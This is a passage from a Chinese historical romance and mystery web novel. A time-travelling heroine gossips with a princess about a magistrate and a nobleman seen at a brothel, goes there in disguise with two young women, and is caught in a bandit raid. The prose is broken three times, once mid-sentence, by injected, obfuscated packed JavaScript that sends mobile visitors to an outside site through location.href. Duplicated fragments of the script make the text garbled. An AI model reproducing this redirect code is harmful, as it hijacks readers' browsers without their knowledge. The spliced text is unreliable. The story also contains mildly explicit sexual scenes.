郡主还不住嘴:“王妹妹你瞧,我哥哥特意请太医院首为她医治,效果好吧?亏她之前还不让人家进门,哼,迟早是我家门的人嘛。这次哥哥荡平土匪,什么名府帮什么马家寨,还不是乖乖臣服!龙心大悦,想必不日,哥哥就能向圣上提请赐婚啦!” 哇!有情人要成眷属了!我也不由露出姨母笑。 林霜玉臊得脸色通红,只一个劲把点心推给我俩,试图闭上我俩的嘴。郡主哈哈大笑,倒也配合着抓起来吃,不拘小节,一口便吞了。我哪吃过这么精致的糕点呀,自然也没客气。 少顷,桌上盘中已被嚯嚯干净。看着两个人嘴边的渣子,我与郡主相视一笑。 林霜玉见状点评:“姐姐这下不怕没人能和你玩到一起了。王姐姐这性子,当真和郡主姐姐一模一样。” 郡主一拍手:“我早说了王妹妹和我有缘!名字也相似呢。我最讨厌那些个小姐唧唧歪歪吃个东西都装模作样,王妹妹这性子,我喜欢!嘿,下次打马球妹妹一道去啊,湘湘听说你了,很感兴趣呢。” “湘……”——我认识叫湘湘的?啊,不会是——“郡主说的是寇湘湘?她、她对我感兴趣?”我惊讶不已。 林霜玉用帕子掩口轻笑:“王姐姐美名,许是都传遍闺阁少女们了。” 我更诧异了,然转念一想,我立时意识到,或许与月前的绣花大赛有关,不安地问:“是不是我跟着谢宁……嗯,跟着谢府丞查案,太惹人注意了?” “那还用说?”郡主促狭地眨眨眼,“宁轩哥什么人啊,铁面无私,连圣上的话都敢驳回。四年前他查云锦私贩案,什么人的面子都不给,别说女子了,不搭嘎的闲人连门都不让进。哦,现在在京城府衙也差不多吧?连我哥,都不让进卷宗房呢。却突然带着个如花美貌的姑娘一道查案……啧啧。” 好家伙,我说我跟着大张旗鼓的查案,会惹来非议吧! 心中忐忑,但我的心思,马上停在了一个词上——“四年前”。咦,绣花大赛的中年命妇提及王爷王妃的前一句,不就是说“四年前的奏本”吗? 对于我的发问,郡主先是挑了眉毛:“你不知道吗?哥哥说你幼年客居王府……”她猛地一拍手,“哦,嗨,我忘了,你后来回金华去了。四年前那桩云锦私贩案,你没听说呐?” 原来四年前,正是谢宁轩初初入仕,担任户部郎中的时间。本身出身优越,年少登科,又做了多年皇子陪读,起点自然是高。到了户部,同僚捧着敬着,却也疏远着。谁都以为这是来镀金的,哪敢让他干实事呢? 可谢宁轩不是草包。 户部掌天下物产丰约之宜,岁计所出而支调之事。下面分支也多,有管进贡的,有管薪酬的,有管税收的,有管户籍的……各部门都设有郎中主理,谢宁轩所任的郎中就主管进贡一事。 他到任第二天就将历年贡品账薄翻出,一本一本复核,没多久就觉察出贡品云锦数目对不上号。此案涉及皇家贡品,牵扯宗室、官员之多,查案中曾有形形色色的人前去说情,就连太后都亲召,示意手下留情,轻轻揭过得了。 “可宁轩哥拒绝了!摆道理讲事实,直接说的太后哑口无言呢!我那段时间刚好住宫里,亲眼见他走后,太后无奈的直摇头。”郡主夸张的挑眉。 林霜玉也是第一次听这些细节,不由追问:“那太后就没生气?” “太后怎么会生他的气?”郡主眼珠子一瞪,“你不晓得太后有多喜欢他吗?我们这一辈中,就他和哥哥,太后天天念叨,尤其宁轩哥的娘亲又……” 郡主猛地捂住了嘴。 娘亲,娘亲怎么了!果然有秘密! 我好奇地前探身子,恨不得让郡主一箩筐全说出来。可她眼珠子转了又转,到底还是没继续。 “嗯,就是说,说宁轩哥一入仕就查察一桩惊天贪腐案,震惊朝野哪!”郡主又绕回到案子上,“人人都知道他最是公正不二,不徇私情。” 我退回椅子上端坐,有些遗憾。但至少搞清了四年前到底是什么案子,什么名声。 “那郡主,四年前他是不是还呈递了什么奏本?圣上驳回了?惹得王爷王妃还担忧来着?”我猜测道。 郡主秀眉蹙起,摊手道:“太具体的,我就不知道了。案子后续我也只听说抓了谁,具体怎么个私贩方式,我哪弄得清啊。” 林霜玉接过话头:“其实云锦私贩案只是一方面,谢府丞过去两年执掌京城府衙,也是屡破奇案,明镜高悬,家父都每每称赞仰慕。他又未成婚,一向不近女色,突然间带了姐姐一道查案,能不引起轰动吗?” “可不是嘛,”郡主又道,眉飞色舞,“太后都过问了呢!” “啊?”我瞬间担忧,“那、那没给他带来什么处罚吧?” “不会啦!说了太后很心疼他啦。不过我当时心情不好,早早去御花园溜达了,都没听到他怎么回答的。嘿嘿,真是奇了,没想到宁轩哥也有公私不分的一天呐。” 林霜玉再次捂着帕子轻笑。 公私不分…… “不不不,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388050|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我赶忙澄清,“不是私,不是私啊,我俩能有啥私的!” “没有吗?”郡主小手一挥,暧昧的笑道,“人人都在议论你的美貌,说你跟在宁轩哥身后,实在是郎才女貌,望之一对璧人也。” 我赧然,只一个劲的摇头:“真不是,真没有!他只是看我当时也在观赛,又读了不少探案的话本……” “还狡辩!我可知道呢!前个儿我路过哥哥书房,还听到宁轩哥夸你呢!哎,我说呢,宝鸯这段时间消沉的呦,连画笔都不拿了。” 林霜玉本樱笑连连,闻言立时惊诧:“金家姐姐停了画笔?啊,我姐姐收藏她的《四君子》,还差一副《松》,我还想着哪天去求求她,为姐姐收集齐呢。” 提到姐姐,心善的林霜玉还是避免不了红了眼圈。 郡主忙安抚:“放心吧,宝鸯是你姐姐好友,会完成她的心愿的。只是她最近没精神气,不想画而已。” 说着,郡主给我使了个眼色,意思很明显。 我也忙顺着话题深入,转移林霜玉的情绪。“金小姐极善丹青吗?美名在外?” “是啊,她母亲当年就有女中君子的美称,出阁后封笔,好在还是传授给了宝鸯。宝鸯也及笄两年了,画不了多久,真得停了。” 我没听明白:“什么停了,为什么停?” “她不得出阁吗?”郡主自如的答,“出阁后自然就要封笔啦。” “啊?”我听得更懵了,“为什么嫁人了就不能继续画啦?” “当家主母,自要执掌中馈,生儿育女的呀。”回答我的是金宝鸯,细声道,“自是不比闺阁里的闲暇,能挥墨弄笔。” 郡主斜眼飞过去:“霜玉妹妹这是想到自己了吧?” “哎呀,郡主姐姐!”林霜玉再次羞红了脸,甩帕娇嗔。 我坐在对面,却突然失了兴致。 来大青,已经三个月了,早春变成了早夏。比起后世的孤单,我享受到了老爹不靠谱却谆谆的父爱,也渐渐习惯了这里的生活。 没有手机网络,没有汽水咖啡,这便罢了。但我怎么忘了,这还是个父权夫权的时代啊。天哪,难道有一天,老爹也会把我打包丢给夫家,从此成为一个男人背后的附属品,随他笑,随他悲,再无自我? 我打了个冷战。 林霜玉注意到了,还以为是刚才一阵邪风吹的我不适,便要起身关窗。郡主坐在她外侧,先行起来了。 走到窗边,郡主却“咦”了一声:“说曹操曹操到,那不就是宁轩哥吗?王妹妹,你来瞧呀。” 我应该坐着不动,我去瞧什么呀! 但我的神思还没落地,机械的、条件反射的起身走了过去。是林霜玉和郡主先后发出的轻笑声,再次唤醒了我。 “啊,我……”我已经走到了窗边,尴尬不已,为了避开她俩的眼神审视,也只能看向窗外。在五魏街的尽头,果然是换下了官服的谢宁轩,与一人正站在一家酒家前说话。 “诶,那家店是不是江瑟楼?天哪,宁轩哥居然去……”不知怎得,郡主话音一顿,再开口时声音拔高,竟飘荡出一种莫名的怒气,“对面那是谁?天哪,哥哥!” 似乎感知到注视,那人转过身来抬头。哦,还真是三殿下。 “咣当” 林霜玉不知道什么时候也走过来了,手上的茶杯还砸掉在地。而她的脸色则忽然青白,整个人如同在风中飘逸的树叶一般。 我吓了一跳,慌忙去扶她,一面唤着郡主,可郡主却一动不动,死死盯着窗外。 “郡主?郡主!你怎么了?” 郡主面色凛然,森森道:“江瑟楼是京城最有名的烟花之地。哥哥明明对我说今日有公干,原来就是去青楼!” 45.青楼 林霜玉倒在我的臂弯,浑身发抖。 雅间的动静也引起了外面丫鬟的注意,六桃冲进来拿出贴身的药丸就往林霜玉嘴里塞。郡主回头一看,吓得尖叫出声。 跟进来的小丫鬟们扶人的、倒水的、扇风的,乱作一团。等到林霜玉不再颤抖时,雅间门再次被推开,是谢宁轩与三殿下赶来了。 三殿下脸色大变,一把拉开围在林霜玉跟前的丫鬟们,抱起她就要往外冲。郡主扑上前抓住他的手臂,带着哭腔:“哥哥!你骗人!你怎么对得起林妹妹!” 三殿下的脸色更黑,也不理郡主的问话,只冷脸吩咐:“马上去请太医。姝儿,跟我回府。” 郡主不依不饶,却被三殿下呵斥,最后还是撅着嘴气鼓鼓的跟着走了。谢宁轩面无表情,坐在椅子上默默喝了口茶。 眼看人群散去,我忍不住叹了口气:“偏偏亲眼目睹,这下恐怕又要病发了。” 谢宁轩拧眉看我:“你以为我们干什么去了?” 我翻了个白眼,心下鄙夷:“去青楼还能干什么?买文房四宝啊。” 谢宁轩继续拧眉:“别一口一个青楼,说话也不知忌讳。” “嘿!”我登时恼火,“现在是你去青楼,你都不忌讳,我为什么要忌讳?怎么,你们男人去和姑娘们快活,我们连提都不能提?喂,你干嘛!喂……” 谢宁轩在我说话间隙起身走来,长长的手臂将我圈在窗台上,危险的眯着眼睛:“你说什么?” “我、我说什么了?”我没来由的紧张,嘴上依旧不肯认输,“你、你做贼心虚!我亲眼看见你从青楼里出来的!你、你干嘛!你离我远点……” 谢宁轩越发靠近,墨色琉璃闪烁在眼中:“你,不高兴了?” “我、我……我干什么不高兴!不高兴的是林霜玉和郡主好不好!我又和三殿下没什么关系!” “哦?”谢宁轩挑眉,继续逼近。直到我看清他高挺鼻子上光滑的肌肤,一点黑头都没有。 这是怎么保养的?有没有心得分享一下? 我一跑神,谢宁轩已经快贴到我眼前了。他眼中映出的我,此刻竟然是脸色绯红。 “哥?羽书妹妹?” 一道讶然的高阔声线传来,我差点心跳骤停。 谢宁轩闻言转头,姿势却没变,细碎的发梢扫在我的脸上,心跳再次恢复,如马路上不受控的赛车,仪表盘飙飞。 是二公子,他正站在雅间门外,愕然地望着我们。 不知为何,此时此刻我的大脑都不转了,但脱口,我竟说了句:“你、你哥哥去了青楼!” 谢宁轩周身一僵。二公子的嘴张开了,他要是手上端着个碗,非得跟烂俗电视剧的桥段一样,砸碎在地。 沉默,沉默是压死骆驼的稻草。连一根针掉下都能听见的安静中,唯有我的心跳还在加速。 直到谢宁轩意味深长的看我一眼,缓慢站直了身子。他走向二公子,淡声问:“你怎么在这?” 二公子这才回过神来,平地起跳,用夸张的语气叫道:“哈!哥你去青楼!青楼!你还教育我要远离烟花之地,自己居然去!” 谢宁轩蹙额:“我去那里办正事。你怎么在这?” 二公子不信,仍狐疑的问:“那你和羽书妹妹在干嘛?” 谢宁轩平静答曰:“探讨案情。你怎么在这?” 三遍“你怎么在这”之后,二公子终于不高兴的回答:“我和何慕卿来喝茶啊。” 长臂一捞,门外一人被他拽来,是个穿着上月白、下蓝紫长衫的公子,温文尔雅,长相周正。 “轩哥,下午好,您没在府衙?” 寒喧声中,我眼睫一跳,相熟的扮相再次唤醒了我的回忆。当日在进京马车上,我们见到的方向杰不也穿着上月白、下蓝紫的长衫吗?贵妃醉酒案后,二公子来找我时,也穿着这一身。 哦,我明白了。老爹不是说过吗?二公子就读的白马书院是大青一等一的学府,而且子弟都非富即贵。看来这几位是同窗,穿的都是院服。 这何慕卿应该也是世家子弟,听声音蛮文气的。比那情绪不稳定的方向杰,正常多了。咦,我要不要把今天所见告诉谢宁轩呢?那日他不是还叫出了方向杰的名字嘛,估计也都认识。 等下回吧,反正这半个月来,他没少来我家,每次都说些有的没的闲话。那我也和他分享一下…… 诶,不对啊,我在想什么!为什么要和他分享! 天哪,我不会是…… “羽书妹妹,问你话呢!”神游之际被扯回,是二公子不满的瞪着我,“刚才我好像听到郡主哭声了,她刚和你在一起吗?” “啊?额,这个……”我语塞,不知道怎么说。 谢宁轩接过话头,极为敷衍:“阳远郡主的事,你就别操心了。” 二公子不悦的撅撅嘴,再次将矛头指向哥哥:“哼,那你还没说清楚呢,哥,你怎么去青楼了呀?” 语气调侃,还带着几许幸灾乐祸。 谢宁轩淡定多了,语调都不带拐弯的。“说了我去公干,是去办正事。你少胡言乱语。” “哈!父王知道你就惨啦!” 谢宁轩继续波澜不惊,负手而立,架子立时端了起来。 “本官身为京城府丞,有公干进入青楼,父王也理会不得。倒是你,午间父王是让你直接回书院的吧?你却跑来饮茶,父王若是知道……” “哎呀!”二公子马上变成一幅可怜样,“我好不容易有一天假,才出来一上午就回书院,太亏了嘛!” “大考在即,你却斤斤计较着时间玩乐,我是不是应该告诉陈先生……”谢宁轩故意顿住话语。 “别别!我这就回书院看书去!”二公子连连摆手,在何慕卿好笑的摇头之下,他可怜巴巴的说,“羽书妹妹,那我走了!大考之后我能放假一个月呢,到时候带你出去玩!你不是最喜欢逛花鸟市场了吗?我带你好好逛逛,买它一百只鹦鹉!” 一百只! 我呵呵两声,懒得搭理。 二公子还不满足,又张口要说,但这时,楼梯间传来响亮的奔跑声,是个小厮高叫着:“王小姐,王小姐可还在雅间?王小姐!” 何慕卿站在最外面,扭身皱眉问:“你是何人?莫要大呼小叫,好生说话。” 来人急声禀告:“小的是御青王府的,阳远郡主想请王小姐过府一叙。王小姐还在雅间吗?” *** 御青王府在京西,与齐王府不近。只是作为尊贵宗室,又都是圣上面前的大红人,两处府邸之桂殿兰宫、气派广厦,倒挺相似。 不过此时,我哪还有心情欣赏风景?小厮带着一路前行,恨不得拔腿跑起来。 奇怪,郡主此刻不该在陪林霜玉吗?怎么突然叫我过来? 临行前我又问了谢宁轩,他说与三殿下真是公干,因事情机密,实在无法详细言说。既如此,我见了郡主也劝说劝说吧,看郡主怒火真是不小。 只是,即便目睹三殿下逛青楼,林霜玉失态我能理解,郡主何来那么大的气?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404434|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 问题丢给谢宁轩时,他垂下眼睑,说了句“或许与他们的父王有关”便住了嘴。 具体的原因,我还是在稍后见到郡主才知道。但没想到,郡主身侧,竟已经有一人在安慰了。 “你不要再劝了!你再帮哥哥说话,我连你也赶出去!”话音后,是杯盏的碎裂声,炸在耳边。 我不由咋舌,好家伙,郡主这怒火太大了吧! 有女子温柔的声线响起:“郡主,郡主!何必生这么大气?气坏了身子可就不好了啊。三殿下毕竟是个男人,总会……” 这声音有些熟悉啊。 又是砸东西的声音:“呸!哥哥答应过的!” 门口站着的几个丫鬟面面相觑。带我来的小厮硬着头皮上前敲门:“郡主,郡主,王姑娘到了。” 内里骂声停顿,郡主却接着哭嚎:“不见不见,我谁都不见!王妹妹肯定也是来当说客的!” 不见我,那你叫我来干什么? 下一瞬,门却开了,竟是金宝鸯,发髻上的鸳鸯提篮步摇铃铛作响。 四目相对,她眼中滚着复杂的情绪,但终是化作了无奈的笑:“王小姐,你快来劝劝郡主吧,三殿下说方才你也在场,你来劝,郡主或许能听一二。” “三殿下……”我一怔,这才缓过神来,原来是三殿下派人叫我来的。那何必打着郡主旗号? 难道是怕我也误解他逛青楼,站在林霜玉一边对他有意见?嗨,谢宁轩不是给我解释了嘛。 诶,我怎么就那么相信他? 来不及多想,我已被金宝鸯拉入房中。瓷瓶碎片到处都是,书籍也被撕得散落一地,一片狼藉中,郡主满面泪花站在书桌旁。 “哥哥叫谁来都没有用,我不会原谅他的!” 金宝鸯朝我摇了摇头,面露难色。 “郡主,我、我……”我转转眼珠,换种说辞,“你误会了,我哪是来当说客的嘛。我也替霜玉妹妹生气,所以我来和你同仇敌忾,一起质问殿下!” 金宝鸯张大了嘴。 但郡主收起了恶狠狠的表情,冲过来拉住我的手:“王妹妹,王妹妹!你说!哥哥怎么能这样?他答应过的!在父王被那小妾迷惑害母妃流产去世后,他就发誓此生不沾烟花之地!父王、父王就是因为愧疚未曾回账中休息,才会疲惫战死沙场,哥哥怎么能……”郡主抓起桌上一个花瓶,再次狠狠砸到地上。 好家伙,竟还有如此内幕,怪不得郡主这么生气。 我轻轻抚上郡主的背,斟酌着说道:“就是,再怎么样也不能去青楼啊!哪怕有公干是不是!也得换个地!” 郡主眼睛都哭肿了,挑眉瞪我:“什么公干!你不要替他解释!” 我赶忙摆摆手:“我没有啊,我又和三殿下不熟,怎么可能替他开脱嘛。只是郡主你细想想,大白天的,又和谢府丞在一起,难道真的是做那档子事?” 金宝鸯立即为心上人打包票:“不会,不会的,谢府丞不是那种人!” 郡主冷哼一声:“哼!随你们怎么说!他们出现在青楼就是不对的!” “是是是,不对的,不对的。”我顺毛捋,“但有时候就是这样,公干嘛,没得选,出入一些自己也不喜欢的场所,也许……” “那也不行!不管做什么,都不该去青楼!”郡主又开始洒泪,“那种地方,到底有什么好!男人各个趋之若鹜,父王,父王……哼,不行!” 郡主猛地一拍大腿,雄赳赳气昂昂撂下宣言,“我得亲自去看看,青楼到底有什么好的!” 46.良家 “呦,这位公子好生俊俏!” 江瑟楼前,一个穿着轻薄、妆容浓厚的姑娘贴了上来,她摇曳着身姿,白皙肩膀在脚步颤抖下若隐若现。 着小厮服的郡主向后退了两步,用袖子掩鼻。我另一侧的金宝鸯也变了脸色,一个劲朝郡主靠。 我很无语。方才是谁坚持要来的? 郡主说一不二,放话之后当即出了门,我追都追不上。若不是我威胁着要派人去通知三殿下,她就连换身打扮都不愿意。 但我们在成衣铺子交钱的时候,金宝鸯也来了,并提出她也要陪着郡主去青楼。郡主很高兴,觉得获得了小姐妹的支持,更加坚定了想法。但我一路上絮絮叨叨的劝解算是全白费了。 我很纳闷,不知道金宝鸯这是抽什么风。追出门前我给她使得眼色,让她快去搬救兵,合着她是一点没接收到啊? 青朝民风虽开放,对世家闺阁女子进青楼,也不会包容的啊。若是传出去,她们两个的名声不要了? 难道是因为谢宁轩?她也想知道心上人到底为什么去青楼? 那行啊,你俩有本事自己查啊。齐齐换了小厮服,倒叫我扮作个公子哥,算是怎么回事? “公子,公子!选我吧,我服侍人可舒服了。”这时,又贴上来了个姑娘。许是到了黄昏时分,姑娘们都出来揽客了。我的大脑快被浓香熏晕了。 不过迟钝数秒,我已经被拽进了江瑟楼。 眼前是一道华丽的屏风,左右两位姑娘开始扯我的胳膊。这一幕我在未整改前的火车站常见。 “停停,能不能放开我,我要……” 话没说完,一阵劲风闪来。一个鲁莽的书生冲了进来,险些把金宝鸯撞倒在地。 那书生慌慌张张,当眼光瞥向我身侧姑娘的香肩时,脸唰的通红。他避开视线开始高叫:“二叔!二叔!快跟我回家!” “你是不是……”郡主瞧着他,发出了意义不明的疑惑。 然话没说完,屏风后又绕出来个浓妆艳抹的中年女子,上下打量一番书生,再将视线投向了我。随后,她给我身侧的两个姑娘使了个眼色,登时二人就松开了我,改换目标攀上了书生。 那书生一看就是清纯呆萌的主儿,大抵是没见过这场面,手脚无措,眼睛都不知该往哪里放。 两姑娘对着他就是一通上下其手,像麻花一样缠住书生的胳膊,硬把他拉进了江瑟楼。书生一直在挣扎:“别,别别!别拉我!我不去!二叔!二叔你在哪?” 我们仨看客都看呆了。 走神的功夫,中年女子已经站到了我面前:“这位公子很眼生啊,第一次来?” 看来这就是传说中的老鸨了。 “哦,那个,我……” 老鸨堆上笑容:“公子别不好意思,咱家温柔的解语花那是最多了,保管让公子满意。”说罢,她挤眉弄眼着靠近,“这开荤哪,最重要了,公子放心,一定让公子尝尽美味。” …… 比方才还浓烈的香气堵着我的嗓子眼,老鸨还以为我不满意,贴上来拉着我就往里走。我推脱之际,已拐过屏风,眼前景象登时将我镇住。 能容纳下二三十张圆桌的大厅宽广豪华,四周墙壁挂着侍女图,咳咳,不太正经的仕女图。厅中心突起一个圆台,上面正有四五个姑娘,在靡靡乐曲下跳舞,不时露出的白嫩肌肤在无数盏灯烛照耀下越发晃人心神。 大厅中坐满了宾客,或是肥头大耳,或是油光满面,亦有书生数个。毫无例外,左右手都在香肩外露、□□半掩的姑娘身上不老实着。姑娘们也无反感,只一杯一杯的劝着酒。 即便我来自21世纪,这场面我也得咋舌。你看最近这桌,那个猪头把脸都埋进姑娘胸里了,姑娘咯咯直笑,胳膊紧紧攀着他的脖子,□□半露松金钮。 眼看要超过电视台能播的尺度,我赶紧挪开视线,转头就见郡主和金宝鸯都傻了,死死盯着这一幕,脸色堪比番茄。 老鸨笑盈盈看着我们,对我们的反应很满意。 “咱们江瑟楼呀,那可是京城数一数二的好地方,开张十年,姑娘们各个京城翘楚,人间绝色!最近呀,又来了一批新人,保证公子满意!这一层上不得台面,公子您一看就是世家贵人,您呀,二楼请着。” 我这才注意到一层大厅的两边竖着宽宽的楼梯,铺着红色的毯子,一步一步登上,彷佛极乐世界就在眼前。 我心里不是滋味,扭头想要退缩。但郡主虽然眼睛都不敢往大厅里瞧了,见我示意离开竟还是赌气地转过了头。倒是金宝鸯亦生退意,伸手拉了拉郡主的袖子。 郡主没理我俩,径直朝二楼走。老鸨都搞懵了,这谁主谁仆啊。 我忙打圆场:“哦哦,我让小厮帮我先去考察考察。” “哎呦公子这话说的,哪里还需要考察嘛。咱家这美人如云,考察,也得您亲自上呀。” “咳咳咳……那个,那个,随便给我找个包间就行了。” “您放心,请着!” 我和金宝鸯对视着,我眼中的无奈与她眼中的后悔在碰撞。 江瑟楼二层环绕着数十包间。自上来就闻到股股清香,淡雅高级。围廊边有一些四人座的小方桌,桌边的姑娘衣衫整齐,发髻精美,和对坐男子饮酒谈话时也斯文端庄,与楼下云泥之别。 路过一桌时还听见姑娘正与公子谈论诗书,出口成章。 好家伙!我登时心中打鼓,暗暗感谢上苍没让我穿越成这职业,否则就我这古诗文水平,怕是只能在一楼上班了。 “肯定是来找周学礼的,周家门风多严,从来不让子孙进这种地方,你没看见他脸红成猴屁股了?” “嗨,我看他也带不走他叔,那老家伙天天呆在这江瑟楼,迷得晕头巴脑。” 这厢我正听着闲话,那边金宝鸯忽然惊呼一声。 我扭头一看,原来是旁边屋子的门竟没关严,透过手掌宽的缝隙正见两人滚在一起,白花花肉嘟嘟一片,两个人型勉强能分出来,还在一耸一耸…… 我一把拉开金宝鸯,她的脸上都能浸出血了。 老鸨笑容更深,侧身将我们请进了一间装潢典雅的空屋中。 “公子喜欢什么样的姑娘?咱们这……” “御青王三殿下叫了哪位姑娘,把她叫过来!”我身旁的郡主一屁股坐下,压根没有尽到一个小厮的职责。 老鸨惊愕的看向我,我只能再打圆场:“哦对对!本公子和三殿下交情很好。殿下给本公子说,侍奉他的姑娘很不错,所以本公子特来瞧瞧。” 老鸨这才笑道:“御青王何等眼光,看上的姑娘自然是我们的花魁如月姑娘。这如月姑娘嘛……”同时伸出手搓了搓指头,意思很明显。 郡主铁青着脸掏出银票,但又怕老鸨靠近她拿,索性一股脑塞给了我。我不想老鸨生疑,只得轻咳两声,随手递出几张。 老鸨一看面值,立即眉开眼笑,哪还顾得上其他。又搔首弄姿的啰嗦几句,便要出门。 这时,我感受到一道欲语还休的眼光,扭头一看,正是咬着嘴唇的金宝鸯。 我轻轻叹口气了,叫住了老鸨:“哦,还有,与他一道来的谢府丞叫姑娘了吗?” “呦,谢府丞挑的可是咱家最温柔的温雅姑娘,保证公子你也喜欢!” 金宝鸯脸都黑了。 郡主咬牙切齿:“我倒要看看哥哥看上什么货色,能比林妹妹还吸引他!” 呵呵,郡主还是太单纯。 但是谢宁轩,你丫不是说公干吗?怎么还真的找了姑娘? 不多时,一个长相柔婉的姑娘敲门进来,冲我递来娇媚的眼波。她福了福身,柔声道:“小女子温雅,见过公子。” 这姑娘衣服裹得和良家一般严实,但走路姿态与柔媚的语气,就是无端端让人想要一探究竟。 郡主和金宝鸯面面相觑,前者看得鼻子升烟,后者眼中又现泪花。 郡主先坐不住,也不等我套话,直接黑着脸喝问:“中午就是你侍奉宁……谢府丞的?” 温雅惊讶,眨着无辜的大眼睛看向我,似乎在问我,一个小厮何来这么嚣张。 我忙给郡主递眼色,一面找借口:“啊,哦,那个,我和谢府丞是好朋友,他说中午有个姑娘侍奉的他很满意,但是没说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423063|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪位姑娘,所以我要确认一下。” 温雅羞涩的转过头,蛮腰渐觉扭:“是奴家侍奉的谢府丞。” 金宝鸯颤声问:“那他、那他觉得怎么样啊?” “谢府丞说奴家、奴家侍奉的很好。” 怎么回事?谢宁轩在骗我?还是说…… 郡主猛地站起身,冲过来一把推倒温雅,怒气冲冲:“你给我滚!” 我吓了一跳,温雅匍匐在地上泪眼婆娑,哀怨的看着我。而金宝鸯,则捂着脸哭了出来。 我只能无奈叹气,心说这都叫什么事啊。接下来便是打发温雅退下,同时递给她一张银票。 “你怎么回事,怎么还给钱!”郡主不爽了,也不管人家还没走出门,就发火了。 我只好小跑两步将房门关上,劝慰道:“好了好了,女人何苦为难女人。别生气了,那咱们走行不行?” 郡主瞪着我:“你说什么?我还没见到那个什么月!” “何必要见她!”我唯有苦劝,“郡主!你想啊,她们出卖自己为了生计,为的就是钱啊。她们说的话能全部相信吗?如果今天三殿下和谢府丞给了她们钱让她们对外都这样宣称,那你来又能问出什么?再退后一步,如果今天,他们两个就是在这儿做了腌臜事,你又待如何?看那个如月如何貌美如花,温柔得宜,令人陶醉?” “可是……”郡主不甘心。 “郡主!”我轻声喝止她,递了个眼色。 她的身侧,金宝鸯已经泣不成声。 不知道是方才温雅的表现,还是这段时间的接触,我总觉得谢宁轩非好色之人,对他所言公干也有一种莫名的笃定。但面对金宝鸯的眼泪,我还是不知道该怎么宽慰。 好在郡主也不忍心了,终是同意了离开。 可谁知,我们还是没能走成。 经过方才那肉搏战的房门前,金宝鸯发现自己的帕子落下了。正在犹豫着回头,忽然一微胖的中年男子疾奔而来,将我们三人猛地一撞,叫喊声尚来不及发出,我们便摔进了那间屋子。 屋内男女大惊失色,女子连忙扯着被子护着敏感部位,然而白嫩的肌肤是怎么也挡不完整。男子比较尴尬,只用双手捂着某处,郡主和金宝鸯不由的喊出声,齐齐捂脸。 身后将我们错手推进门的中年男子也是错愕,他回头欲跑,却又被人堵在门口。来人冲着中年男子大吼:“二叔!快和我回去!找你真的有重要的事情!” 二叔丝毫不理会:“滚!老子难得快活!” 我慌忙上前扶起郡主和金宝鸯,也认出来人便是我们在江瑟楼外遇到的鲁莽书生。 书生气急,抄起桌上茶杯重重一摔:“二叔!你都几个月没着家了!” 中年男子还没回话,床上的男子大声吼道:“喂喂喂!你们俩谁啊!吵架出去吵!坏了老子的好事!” 书生这才看清床上景象,吓了一大跳,立刻偏了脑袋,一拱手道:“小生打扰了,还请公子恕罪,二叔,快和我回去!” 说罢就上来抓二叔的胳膊,后者哪能如他愿啊,立时闪躲。一来一去,也不知是谁扯着屏风上的衣服就扫过来,竟无端端扫到我三人头上,帽子连同不牢靠的发髻登时掉了下来。 在场的人都愣住了。 中年男子先吼道:“你们到底是什么人!” 郡主被梳妆台前波及砸下的胭脂粉撒了满脸,怒火中烧,正要发飙,床上男子却冲着她与金宝鸯不住的瞧,满脸狐疑:“诶,我认得你,你是都督金权的女儿吧?你怎么会在青楼?还有你,你不会是……” “你是谁啊?”金宝鸯很害怕,缩到郡主身侧。 “我是夏……” 夏什么没说完,又来一道劲风,将原本打斗掩起来的门再次撞开,一个满脸横肉的男人冲进来,声音粗旷:“谁他娘的是刑部尚书周家人?” 夏姓哥们气死了,一张脸青白交加:“你!你们都是什么人!老子快活一下咋这么多人坏事!” 门外跟随来两喽啰,大吼着:“老子马家寨十八旋风!” 什么玩意? 床上的女子尖叫:“土!土匪!” 47.土匪 土匪?土匪怎么会闯到江瑟楼里? 来不及思考,楼上楼下一阵阵女子尖叫声袭来,和着杯盏落地清脆的声音,令人心惊。 土匪们粗犷的吼声层层叠叠:“快点,你们这些娘们,都给老子滚出去!” 中年男子忽然肉眼可见的颤抖起来,竟然一屁股坐到了地上。 见横肉大汉眼刀飞来,他脸色惨白,只耽搁了一秒,他伸手指向书生,惊叫道:“他!他是周家人!叫周达尹!” 那书生瞥了一眼自家二叔,旋即抬脚上前,高抬着头充满傲气:“我是周达尹。怎么?你们要干什么?” 横肉大汉粗犷冷笑:“谁他娘说这儿有金权的女儿?” 姓夏的立刻看向金宝鸯,我登时生出不好的预感。 “他娘的!老子问话的!谁刚才喊叫来着?” 他凶狠的目光扫过众人,周家二叔蹲在地上抱着头,浑身发抖,比在场的姑娘们表现还夸张。姓夏的惊恐的看看他,又看看金宝鸯,很明显在犹豫。 